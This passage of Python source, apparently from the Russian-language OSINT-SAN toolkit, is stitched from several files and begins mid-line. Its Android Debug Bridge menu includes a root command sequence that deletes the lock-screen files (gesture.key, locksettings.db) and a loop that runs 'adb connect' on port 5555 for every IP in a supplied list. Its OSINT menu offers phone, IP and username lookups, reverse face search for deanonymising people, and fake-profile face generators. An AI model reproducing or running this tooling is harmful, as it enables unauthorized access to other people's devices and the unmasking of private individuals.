Bridge" + GNSL + "[" + REDL + " pull_apk " + GNSL + "]" + ENDL + ":") print(f" {connect}") print(" {1}[{0} + {1}]{2} Введите место хранения apk.\n". format(REDL, GNSL, WHSL)) location = input( f" {arrow} Android Debug Bridge {GNSL}[{REDL}pull_apk{GNSL}]{ENDL}:" ) os.system(f"adb -s {device_name} pull {path} {location}") t.sleep(5) show_banner(clear=True) print(page_1) elif option == '20': if not device_name: print("{1} [{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) else: os.system(f"adb -s {device_name} shell dumpsys battery") elif option == '21': if not device_name: print("{1} [{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) else: os.system(f"adb -s {device_name} shell netstat") elif option == '22': if not device_name: print("{1} [{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) else: print(f" {connect}") print( " {1}[{0} + {1}]{2} Чтобы снова включить WiFi, устройство должно быть подключено." .format(REDL, GNSL, WHSL)) print(f" {connect}") on_off = input( f"{GNSL} [{REDL} + {GNSL}]{WHSL} Хотите включить/выключить WiFi on/off{REDL} :" ) if on_off == 'off': command = " shell svc wifi disable" else: command = " shell svc wifi enable" os.system(f"adb -s {device_name} {command}") elif option == '23': if not device_name: print("{1} [{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) else: print(f" {connect}") print( REDL + "****************** REMOVING PASSWORD ******************") os.system( f"adb -s {device_name} shell su 0 'rm /data/system/gesture.key'" ) os.system( f"adb -s {device_name} shell su 0 'rm /data/system/locksettings.db'" ) os.system( f"adb -s {device_name} shell su 0 'rm /data/system/locksettings.db-wal'" ) os.system( f"adb -s {device_name} shell su 0 'rm /data/system/locksettings.db-shm'" ) print( REDL + "****************** REMOVING PASSWORD ******************") elif option == '24': if not device_name: print("{1} [{0} + {1}]{2} Устройства не подключены.".format( REDL, GNSL, WHSL)) show_banner(clear=True) print(f''' {GNSL}[ {REDL}0{GNSL} ] {WHSL}Кнопка_UNKNOWN {GNSL}[ {REDL}21{GNSL} ]{WHSL} Кнопка_DPAD_LEFT {GNSL}[ {REDL}42{GNSL} ]{WHSL} Кнопка_N {GNSL}[ {REDL}63{GNSL} ]{WHSL} Кнопка_SYM {GNSL}[ {REDL}1{GNSL} ] {WHSL}Кнопка_MENU {GNSL}[ {REDL}22{GNSL} ]{WHSL} Кнопка_DPAD_RIGHT {GNSL}[ {REDL}43{GNSL} ]{WHSL} Кнопка_O {GNSL}[ {REDL}64{GNSL} ]{WHSL} Кнопка_EXPLORER {GNSL}[ {REDL}2{GNSL} ] {WHSL}Кнопка_SOFT_RIGHT {GNSL}[ {REDL}23{GNSL} ]{WHSL} Кнопка_DPAD_CENTER {GNSL}[ {REDL}44{GNSL} ]{WHSL} Кнопка_P {GNSL}[ {REDL}65{GNSL} ]{WHSL} Кнопка_ENVELOPE {GNSL}[ {REDL}3{GNSL} ] {WHSL}Кнопка_HOME {GNSL}[ {REDL}24{GNSL} ]{WHSL} Кнопка_VOLUME_UP {GNSL}[ {REDL}45{GNSL} ]{WHSL} Кнопка_Q {GNSL}[ {REDL}66{GNSL} ]{WHSL} Кнопка_ENTER {GNSL}[ {REDL}4{GNSL} ] {WHSL}Кнопка_BACK {GNSL}[ {REDL}25{GNSL} ]{WHSL} Кнопка_VOLUME_DOWN {GNSL}[ {REDL}46{GNSL} ]{WHSL} Кнопка_R {GNSL}[ {REDL}67{GNSL} ]{WHSL} Кнопка_DEL {GNSL}[ {REDL}5{GNSL} ] {WHSL}Кнопка_CALL {GNSL}[ {REDL}26{GNSL} ]{WHSL} Кнопка_POWER {GNSL}[ {REDL}47{GNSL} ]{WHSL} Кнопка_S {GNSL}[ {REDL}68{GNSL} ]{WHSL} Кнопка_GRAVE {GNSL}[ {REDL}6{GNSL} ] {WHSL}Кнопка_ENDCALL {GNSL}[ {REDL}27{GNSL} ]{WHSL} Кнопка_CAMERA {GNSL}[ {REDL}48{GNSL} ]{WHSL} Кнопка_T {GNSL}[ {REDL}69{GNSL} ]{WHSL} Кнопка_MINUS {GNSL}[ {REDL}7{GNSL} ] {WHSL}Кнопка_0 {GNSL}[ {REDL}28{GNSL} ]{WHSL} Кнопка_CLEAR {GNSL}[ {REDL}49{GNSL} ]{WHSL} Кнопка_U {GNSL}[ {REDL}70{GNSL} ]{WHSL} Кнопка_EQUALS {GNSL}[ {REDL}8{GNSL} ] {WHSL}Кнопка_1 {GNSL}[ {REDL}29{GNSL} ]{WHSL} Кнопка_A {GNSL}[ {REDL}50{GNSL} ]{WHSL} Кнопка_V {GNSL}[ {REDL}71{GNSL} ]{WHSL} Кнопка_LEFT_BRACKET {GNSL}[ {REDL}9{GNSL} ] {WHSL}Кнопка_2 {GNSL}[ {REDL}30{GNSL} ]{WHSL} Кнопка_B {GNSL}[ {REDL}51{GNSL} ]{WHSL} Кнопка_W {GNSL}[ {REDL}72{GNSL} ]{WHSL} Кнопка_RIGHT_BRACKET {GNSL}[ {REDL}10{GNSL} ] {WHSL}Кнопка_3 {GNSL}[ {REDL}31{GNSL} ]{WHSL} Кнопка_C {GNSL}[ {REDL}52{GNSL} ]{WHSL} Кнопка_X {GNSL}[ {REDL}73{GNSL} ]{WHSL} Кнопка_BACKSLASH {GNSL}[ {REDL}11{GNSL} ] {WHSL}Кнопка_4 {GNSL}[ {REDL}32{GNSL} ]{WHSL} Кнопка_D {GNSL}[ {REDL}53{GNSL} ]{WHSL} Кнопка_Y {GNSL}[ {REDL}74{GNSL} ]{WHSL} Кнопка_SEMICOLON {GNSL}[ {REDL}12{GNSL} ] {WHSL}Кнопка_5 {GNSL}[ {REDL}33{GNSL} ]{WHSL} Кнопка_E {GNSL}[ {REDL}54{GNSL} ]{WHSL} Кнопка_Z {GNSL}[ {REDL}75{GNSL} ]{WHSL} Кнопка_APOSTROPHE {GNSL}[ {REDL}13{GNSL} ] {WHSL}Кнопка_6 {GNSL}[ {REDL}34{GNSL} ]{WHSL} Кнопка_F {GNSL}[ {REDL}55{GNSL} ]{WHSL} Кнопка_COMMA {GNSL}[ {REDL}76{GNSL} ]{WHSL} Кнопка_SLASH {GNSL}[ {REDL}14{GNSL} ] {WHSL}Кнопка_7 {GNSL}[ {REDL}35{GNSL} ]{WHSL} Кнопка_G {GNSL}[ {REDL}56{GNSL} ]{WHSL} Кнопка_PERIOD {GNSL}[ {REDL}77{GNSL} ]{WHSL} Кнопка_AT {GNSL}[ {REDL}15{GNSL} ] {WHSL}Кнопка_8 {GNSL}[ {REDL}36{GNSL} ]{WHSL} Кнопка_H {GNSL}[ {REDL}57{GNSL} ]{WHSL} Кнопка_ALT_LEFT {GNSL}[ {REDL}78{GNSL} ]{WHSL} Кнопка_NUM {GNSL}[ {REDL}16{GNSL} ] {WHSL}Кнопка_9 {GNSL}[ {REDL}37{GNSL} ]{WHSL} Кнопка_I {GNSL}[ {REDL}58{GNSL} ]{WHSL} Кнопка_ALT_RIGHT {GNSL}[ {REDL}79{GNSL} ]{WHSL} Кнопка_HEADSETHOOK {GNSL}[ {REDL}17{GNSL} ] {WHSL}Кнопка_STAR {GNSL}[ {REDL}38{GNSL} ]{WHSL} Кнопка_J {GNSL}[ {REDL}59{GNSL} ]{WHSL} Кнопка_SHIFT_LEFT {GNSL}[ {REDL}80{GNSL} ]{WHSL} Кнопка_FOCUS {GNSL}[ {REDL}18{GNSL} ] {WHSL}Кнопка_POUND {GNSL}[ {REDL}39{GNSL} ]{WHSL} Кнопка_K {GNSL}[ {REDL}60{GNSL} ]{WHSL} Кнопка_SHIFT_RIGHT {GNSL}[ {REDL}81{GNSL} ]{WHSL} Кнопка_PLUS {GNSL}[ {REDL}19{GNSL} ] {WHSL}Кнопка_DPAD_UP {GNSL}[ {REDL}40{GNSL} ]{WHSL} Кнопка_L {GNSL}[ {REDL}61{GNSL} ]{WHSL} Кнопка_TAB {GNSL}[ {REDL}82{GNSL} ]{WHSL} Кнопка_MENU {GNSL}[ {REDL}20{GNSL} ] {WHSL}Кнопка_DPAD_DOWN {GNSL}[ {REDL}41{GNSL} ]{WHSL} Кнопка_M {GNSL}[ {REDL}62{GNSL} ]{WHSL} Кнопка_SPACE {GNSL}[ {REDL}83{GNSL} ]{WHSL} Кнопка_NOTIFICATION ''') print(" {1}[{0} + {1}]{2} Введите номер кнопки.\n".format( REDL, GNSL, WHSL)) num = input( f"{arrow} Android Debug Bridge {GNSL}[{REDL} Кнопка {GNSL}]{ENDL}:" ) os.system(f"adb -s {device_name} shell input keyevent {num}") print(" {1}[{0} + {1}]{2} Вы активировали кнопку".format( REDL, GNSL, WHSL)) t.sleep(4) show_banner(clear=True) print(page_1) elif option == '25': if not device_name: print( "{1} [{0} + {1}]{2} Устройства еще не подключены.".format( REDL, GNSL, WHSL)) else: os.system(f"adb -s {device_name} shell dumpsys activity") elif option == "26": try: print(" {2}Пример пути:{0} /home/apashe/Desktop/test.txt") print("") path_to_ips = input( "{1} [{0} + {1}]{2} Введите путь к вашему txt файлу с IP адресами{1}:{0}" .format(REDL, GNSL, WHSL)) except KeyboardInterrupt: continue with open(path_to_ips, "r") as f: ip_adb_addresses = f.read().splitlines() for ip_address in ip_adb_addresses: subprocess.call(f"adb connect {ip_address}:{5555}", shell=True) elif option == '88': os.system("adb disconnect >> /dev/null") os.system("adb kill-server >> /dev/null") elif option == '66': print() show_banner(clear=True) print(page_1) elif option == '99': return else: show_banner(clear=True) print(page_1)
#!/usr/bin/python # -*- coding: utf-8 -*- # Developer by Bafomet from module.utils.banner import show_banner from module.utils import COLORS from osintsan import menu import os os.system("printf '\033]2;OSINT-SAN 3.5\a'") os.system("clear") show_banner() free_slot_text = f"{COLORS.WHSL} Доступно в{COLORS.GNSL} PRO{COLORS.WHSL} версии." PAGE = f""" {COLORS.GNSL}[ {COLORS.REDL}01{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}16{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL} {COLORS.WHSL}В главное меню. {COLORS.GNSL}[{COLORS.REDL} 99 {COLORS.GNSL}]{COLORS.GNSL} {COLORS.GNSL}[ {COLORS.REDL}02{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}17{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL} {COLORS.WHSL}Очистить. {COLORS.GNSL}[{COLORS.REDL} 66 {COLORS.GNSL}]{COLORS.GNSL} {COLORS.GNSL}[ {COLORS.REDL}03{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}18{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}04{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}19{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}05{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}20{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}06{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}21{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}07{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}22{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}08{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}23{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}09{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}24{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}10{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}25{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}11{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}26{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}12{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}27{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}13{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}28{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}14{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}29{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}15{COLORS.GNSL} ] {free_slot_text} {COLORS.GNSL}[ {COLORS.REDL}30{COLORS.GNSL} ] {free_slot_text} """
def osint(): import os os.system("printf '\033]2;Demo version 6.1 🇸🇮 \a'") global option while True: print(page_10) choice = None while True: try: user_input = input( f"{COLORS.REDL} └──> {COLORS.FIOL}Bafomёd production ──>{COLORS.GNSL} Введите номер опции: {COLORS.WHSL}") print() except KeyboardInterrupt: return if len(user_input) == 0: break try: choice = int(user_input) except ValueError: print(f"{COLORS.REDL}Неверный ввод!{COLORS.ENDL}") else: break if choice is None: continue if choice == 1: import requests import os import json import os from ipwhois import IPWhois ip = input(f' Введите IP address: ') from ipwhois import IPWhois from pprint import pprint whois = IPWhois(ip) result = whois.lookup_whois() pprint(result) Agent = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/44.0.2403.157 Safari/537.36'} try: req = requests.get('https://sonar.omnisint.io/reverse/' + ip, headers=Agent).text parse = json.loads(req) print(f"[#] Reverse {ip} > [{str(len(parse))} Domain]") for sampah in parse: hapus = sampah.replace("www.", "").replace('error:Invalid IPv4 address', '').replace('api.', '').replace( 'cpanel.', '').replace('webmail.', '').replace('webdisk.', '').replace('ftp.', '').replace( 'cpcalendars.', '').replace('cpcontacts.', '').replace('mail.', '').replace('ns1.', '').replace( 'ns2.', '').replace('ns3.', '').replace('ns4.', '').replace('autodiscover.', '') except: print(f'[#] Reverse {ip} > Error') elif choice == 2: show_banner(clear=True) from module.domain import run run() elif choice == 3: from module.phonenumber import phone_number ph = input(f"{COLORS.REDL} └──>{COLORS.GNSL} 🔎 Введите номер телефона:{COLORS.WHSL} ") show_banner(clear=True) phone_number(ph) time.sleep(1) elif choice == 4: clear_screen() print(page_42) option = input(f"{COLORS.REDL} └──> {COLORS.WHSL} Введите номер опции: {COLORS.GNSL}") if option == "1": from module.metadata import metaexit imagepath = input(f'\n {COLORS.WHSL}Укажите пожалуйста путь до фотографии:{COLORS.GNSL} ') print(f'') metaexit(imagepath) elif option == "2": from module.metadata import pdf pdf_filename = input(f'\n {COLORS.WHSL}Укажите пожалуйста путь до фотографии:{COLORS.GNSL} ') print(f'') pdf(pdf_filename) elif option == "99": print(page_10) show_banner(clear=True) elif choice == 5: from module.reverseimagesearch import reverseimagesearch clear_screen() print(page_6) option = input(f" {COLORS.REDL} └──> {COLORS.WHSL} Введите номер опции: {COLORS.GNSL}") if option == "2": urls = [ "https://search4faces.com", "https://findclone.ru", "https://tineye.com", "https://pimeyes.com/en", "https://carnet.ai", ] for url in urls: webbrowser.open(url) show_banner(clear=True) print(f'{COLORS.WHSL} Сайты открыты, приятного розыска') elif option == "1": print(f"\n {COLORS.GNSL} Пример пути: /home/bafomet/Desktop/deanon.png\n") img = input(f" {COLORS.REDL} └──> {COLORS.GNSL}Укажите путь до фотографии :") reverseimagesearch(img) print(f'{COLORS.WHSL} Выполнение запроса, ожидайте\n') show_banner(clear=True) print(f'{COLORS.WHSL} Данные открыты в браузере') elif option == "99": print(page_10) show_banner(clear=True) elif choice == 6: show_banner(clear=True) from module.macaddress import maclookup mac = input(f"\n{COLORS.REDL} └──>{COLORS.WHSL} Введите mac address: ") maclookup(mac) elif choice == 7: from module.host import location show_banner(clear=True) location() elif choice == 8: show_banner(clear=True) print(page_28) input1 = input(f"{COLORS.REDL} └──> {COLORS.WHSL} Введите номер опции: {COLORS.GNSL}") if input1 == "1": from module.host import wiki wiki() elif input1 == "2": from module.Information_services import information_menu information_menu() elif input1 == "99": show_banner(clear=True) elif choice == 9: show_banner(clear=True) from module.utils.identity import identity identity() print(f' Сайты для генерация фотографий для социальный сетей') option = input(f"\n{COLORS.FIOL} Открываем в браузере? y/n: ") print('') if option == "y": urls = [ "https://thispersondoesnotexist.com/", "https://generated.photos/faces", ] for url in urls: webbrowser.open(url) elif choice == 10: clear_screen() print(page_1) elif choice == 11: show_banner(clear=True) print(page_3) option = input(f"{COLORS.REDL} └──> {COLORS.WHSL} Введите номер опции: {COLORS.GNSL}") if option == "1": os.system("git clone https://github.com/Bafomet666/osint-info") time.sleep(1) elif choice == "99": show_banner(clear=True) elif choice == 12: urls = [ "https://tutanota.com/ru/", ] for url in urls: webbrowser.open(url) elif choice == 13: from module.info_ip import blockchain q = input(f"{COLORS.REDL} └──> {COLORS.WHSL} Введите номер кошелька: {COLORS.GNSL}") blockchain(q) elif choice == 14: from module.chmodan import showdam show_banner(clear=True) print(page_14) option = input(f" {COLORS.REDL} └──> {COLORS.WHSL} Введите номер опции: {COLORS.GNSL}") if option == "1": showdam() osint() elif option == "2": from module.utils.information_services_data import page_shodan show_banner(clear=True) print(page_shodan) elif option == "99": print(page_10) show_banner(clear=True) elif choice == 15: from module.wizard import userfull print(f'\n{COLORS.FIOL} By Soxoj') username = input(f'{COLORS.WHSL} Введите имя пользователя для поиска{COLORS.REDL}: ') userfull(username) elif choice == 65: show_banner(clear=True) print(page_44) option = input(f"{COLORS.FIOL} Выберите вариант? y/n: ") if option == "y": urls = [ "https://t.me/satana666mx", ] for url in urls: webbrowser.open(url) elif option == "n": from driver.driver import driver show_banner(clear=True) print(page_45) option = input(f"{COLORS.REDL} └──> {COLORS.WHSL} Выберите опцию:{COLORS.GNSL} ") driver(option) elif choice == 16: from osintsan import api clear_screen() print(page_13) print(page_32) for i in api: if api[i]: print(f' {COLORS.WHSL}Токен {i} :{COLORS.GNSL} Активирован ✅') else: print(f' {COLORS.WHSL}Токен {i} :{COLORS.REDL} Добавьте API token ❌') elif choice == 99: show_banner(clear=True) from module.utils.killing import restart restart() elif choice == 88: show_banner(clear=True) print(page_40) elif choice == 66: show_banner(clear=True) print( f'\n{COLORS.WHSL} Рабочее окно ознакомительной версии программы очищено\n') elif choice == 00: from module.utils.killing import kill kill() else: show_banner(clear=True) print(f"{COLORS.WHSL} Неверный ввод опции, хотите больше опций ? Приобритайте PRO версию")